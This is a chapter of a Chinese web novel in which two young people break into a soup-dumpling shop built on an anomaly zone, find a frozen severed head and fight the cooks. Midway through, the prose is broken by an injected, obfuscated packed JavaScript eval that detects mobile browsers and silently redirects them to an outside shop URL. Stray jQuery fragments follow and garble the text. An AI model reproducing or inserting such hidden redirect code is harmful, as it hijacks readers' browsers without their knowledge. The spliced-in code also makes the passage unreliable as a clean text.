文趣网 > 都市小说 > 她为何见死不救 > 20.020 是个人才
    “444号?”鲜于凌摸了摸下巴,“那家汤包店不是么。”

    “我看了,它是399……”王葵顿了一下,忽然想到了什么,“畸区有编号吗?”

    “官方有。”他点头,“畸区会扩张,而且不少,有些甚至没法彻底净化,所以据说记录在册的畸区都会有编号,方便区分和追踪。”

    他犹豫了一下,还是问了,“这个号码,怎么来的?”

    “之前有人想让我参加特殊局考核,给的地址就是这个。”王葵如实说,“但我没去。”

    鲜于凌有点惊讶,“为什么?”

    “珍品靠逐,贱物自附。我几斤几两我清楚,上赶着要我去的地方能有多好?”

    他啧啧称奇,眉眼露出一丝兴味,“你这歪理,居然还挺有道理。”

    王葵没接这话,只是问,“有没有不进那个畸区的办法?”

    “我刚刚暂时封压了那片区域,但维系时间不会太久……你要去哪?”一看她起身,鲜于凌愣了一下。

    “回那汤包店看看。”

    “现在?”

    “时间宝贵,我早上还有事。”

    “喂,你……”

    凌晨的临安路笼罩在一种深沉的寂静里,王葵快步朝汤包店的方向走去,心里的弦一直绷着。

    她很清楚,鲜于凌说的没错。

    她刚才也不是怨他,纯粹是自己心里过不去,语气就冲了。

    因为,她本可以更早一步的。

    如果她早两天去参加了那个考核,也许就能提前知道那孩子失踪的内情,不用等到今晚才意识到事情的严重性。

    她可以心安理得地把一起绑架案归为别人家的家事,但当发现整件事情背后连着的,也许是一整套拿活人当耗材,见不得光的体系时,那性质就不一样了。

    洁洁汤包的卷帘门严严实实地合着。

    她绕过正门,摸到后墙,发现店后窗的插销松着。刚想伸手去推,一只手忽然从侧面伸过来,按在了窗沿上。

    “太危险了。”鲜于凌不知何时跟了过来,压低声音警告。

    “我知道。”王葵转过头,透过幽暗的光线,目光落在他眼底,“我信你说的,这家汤包店是故意建在畸区上的。我能闻到一股臭味,这里面一定有东西。”

    男生一脸无奈,“我说的危险是,私闯民宅,搞不好要蹲局子的。”

    王葵看了他两秒,点头评价了句,“你也很幽默。”

    她把那件黑色防晒外套重新穿上,拉链一拉到顶,领口竖起,遮住下半张脸。

    然后拍掉男生堵在窗框上的手,反手往他手里塞了一团皱巴巴的东西。

    “但我现在是暗访记者,来调查黑工厂臭肉事件。”

    王葵说完,就在他一脸凌乱的表情里,双手撑过窗沿,利落地翻进了另一侧的黑暗里。

    夜风安静了一瞬。

    鲜于凌被她这彪悍的举动震住了。

    片刻,他低头看向自己的手心——

    居然是一团被揉得乱七八糟的黑丝袜。

    他嘴角一抽,按了下还隐隐作痛的肋侧,神色复杂地叹了一声,“……是个人才。”

    ……

    王葵翻窗落地后,蹲了几秒没动,确认周围没有动静,才慢慢直起身。

    店内黑漆漆的,很冷。

    她摸出手机,同时打开了手电和录像功能,然后朝前举着镜头,蹑手蹑脚地往里走。

    桌椅、收银台、墙上挂着的菜单牌……

    她循着那股腐臭味寻去,穿过大堂,来到后厨。

    操作台上放着几个蒸笼,不锈钢台面干净得反光。

    她又往前走了几步,在一扇灰色金属门前停下来。门没有上锁,仿佛店主人压根不在乎会不会有闯入者。

    推开沉重的金属门,扑面而来的寒意让王葵意识到,这是一间冷库。

    冷库很大,不锈钢货架沿墙排开,堆满了整齐的保鲜盒,标签朝外,日期和品种都标注得工工整整。

    她用手机照了照那些标签,日期在正常范围内,品类也是各种正常的肉类和半成品,看不出任何问题。

    但,那气味太大了,还带着一股淡淡的铁锈似的腥,就像是肉被放干血后,肌理和筋膜在低温下慢慢变质的味道。

    难道,真的只是些过期的肉?

    她不死心,贴着货架往里走,看到了最里间的冷冻柜。

    手机的光晃到了一个卧式冷冻柜,柜面上结了一层厚厚的白霜,却隐约照出底下一个雾蒙蒙的轮廓。

    王葵将手机贴近,推开冷冻柜的柜门。

    下一秒,她吓得倒退了两步。

    那是一颗男人的头颅,剃了头发,眉目闭合,皮肤被冻得发灰,紧紧贴在颅骨上,像一层脱水后收缩的纸。

    ——“这是我女儿!”

    ——“过两年退休咯,以后天天在家陪她们娘俩,好好补偿她们。”

    看到这张脸的刹那,王葵就认出来了。

    是飞机上那个,谈起家人眉飞色舞的话痨,多吉。

    王葵怔在原地,举着手机的手有些发僵。

    “嚯,这么吓人?”

    忽然一道声音从身后飘过来,带着些看热闹不嫌事大的感慨。

    她整个人一颤,手机差点脱手,回头才发现鲜于凌不知何时又跟进来了。

    她顿时没好气,“鱼走路都没声音的?”

    “鱼只会游泳,哪会走路。”鲜于凌嘀咕着走上前,凑近那颗人头端详了两秒,眉头微微一动,“切口平整,血都放干净了……处理得这么讲究,像是留着办某种仪式用的。”

    王葵的目光重新投向那颗头上,表情慢慢沉了下去。

    忽然,一个念头浮上来,“羌月有没有一个习俗,跟琼鸟卵生有关?”

    鲜于凌的脸上闪过一丝意外,却是沉吟了片刻,“是有种说法,羌月人相信她们的女王是神鸟转世,死后会蜕去凡胎,化身为卵,等待合适的时机重新破壳。肉身到了尽头,她会进入一种沉睡的状态,也是他们所谓的‘仙蜕’,而据说唤醒的代价……”

    “需要特定血脉的男嗣作为引子。”

    一道凉凉的女声冷不丁从他们身后响起,将他剩下的话接了过去。

    二人同时转身。

    冷库门口,竟多了一个女人。一身白色厨师服,头发挽在脑后。

    她的视线依次扫过王葵和鲜于凌,脸上挂着冷笑,缓缓踏出一步,“二位好像不太尊重我们店里的监控啊,挑这个时辰摸进来,是觉得没人知道?”

    “误会,误会。”鲜于凌举起一只手,脸上赔着笑,侧身往王葵前面挡了半步,带着她不动声色地往旁边退,“我们就是路过,看见后窗没关,以为店里进贼了,想帮你抓贼来着。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820985|209512||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“是吗。”女厨师显然没被这套说辞打动,手里不知何时多了一把窄长的剔骨刀,刀尖朝下,冷白的光线顺着刃口滑下,凝成一线细长的寒芒。

    王葵忍不住冲男生的后脑勺低声说,“你骗人的工夫待长进啊。”

    “都被抓现行了,你说怎么骗?”鲜于凌不服。

    王葵没理他,直接冲那女厨师扬声道,“有人举报你们家包子肉臭,我们是来查臭肉的,结果发现你们杀人藏尸。你是自己报警,还是我来?”

    女厨师顿了一下,目光越过他们,投向不远处那口敞着盖的冷冻柜。再看向他们时,嘴角那点笑意已经彻底消失了,“天真。你们以为,你们还出得去?”

    话音未落,一道白影猛地从她身后窜出来,裹着一股阴冷的劲风直扑鲜于凌。

    是王葵之前见过的那个胖男厨。

    但此刻,他脸上的和善温驯荡然无存,整张脸绷得发紧,眼珠泛着不正常的青灰色,身形也比白天粗壮了一圈,如同一头发了狂的野兽。

    鲜于凌被那道白影扑了个正着,整个人仰面摔在地上。

    后脑勺磕在地砖上,闷声一响,疼得他龇了一下牙,嘴上却不饶人,气急败坏地冲王葵喊,“你的骗术也半斤八两!”

    王葵哪里顾得上反驳。

    那女厨师已经盯上了她,剔骨刀在她手里转了个角度,便直直地朝她劈来。

    王葵不假思索地举起手机,手电惨白的光直直射向对方的眼睛。

    女厨师被强光晃得眯了一下眼,挥刀的动作慢了一拍。

    就这一拍的空隙,鲜于凌已经从地上撑了起来。

    肋下那片疼得他蹙了一下眉,但指尖已经夹出一张黄符,手腕一翻,符纸自燃,化成一小团青白火焰,朝那胖厨的面门弹了过去。

    胖厨被那团火逼退了两步,捂着脸发出一声低沉的吼叫。

    鲜于凌没有停顿,侧身一步挡到王葵面前,抬手扣住女厨师持刀的手腕,用力往旁边一带。

    那剔骨刀的刀尖擦着王葵的衣角偏了半寸,刺在不锈钢货架上,发出一声脆响。

    他立刻侧过头,语速极快地对女生说,“你先走!”

    “可他们……”

    “走!”他打断她,“你在我打不过。”

    见鲜于凌面色凝重,王葵没再犹豫,转身跑出冷库,然后一路穿过漆黑的店堂,翻过那扇后窗,落在巷子里的水泥地面上。

    几乎就在她站稳的刹那,夜空忽然亮了。

    一道粗壮的紫电毫无征兆地从天顶直贯而下,伴随尖锐而短促的撕裂声,径直劈在汤包店的屋顶上。

    顷刻间,瓦片四溅,木梁碎裂的闷响混着砖石落地的哗啦声,震得整条巷子的墙壁都在发颤。

    王葵被那股震波推得踉跄了几步,抬起胳膊挡脸。

    等那股冲击过去,她挥了挥眼前的灰尘,却发现,汤包店的屋顶已经塌了。

    浓烟从碎裂的瓦砾缝隙里滚滚涌出来,混着一股焦糊的气味,在夜风里吹散又聚拢。

    巷子里静了一瞬,然后远处传来几声被惊醒的狗叫。

    王葵站在巷子中央,瞠目结舌地看着那几乎被劈得四分五裂的屋顶,半晌才找回声音,“……不会是那条鲜鱼搞出来的吧?”

    她喃喃了两秒,突然一个激灵。

    ——糟了!那两个羌月人,她还有话要问他们!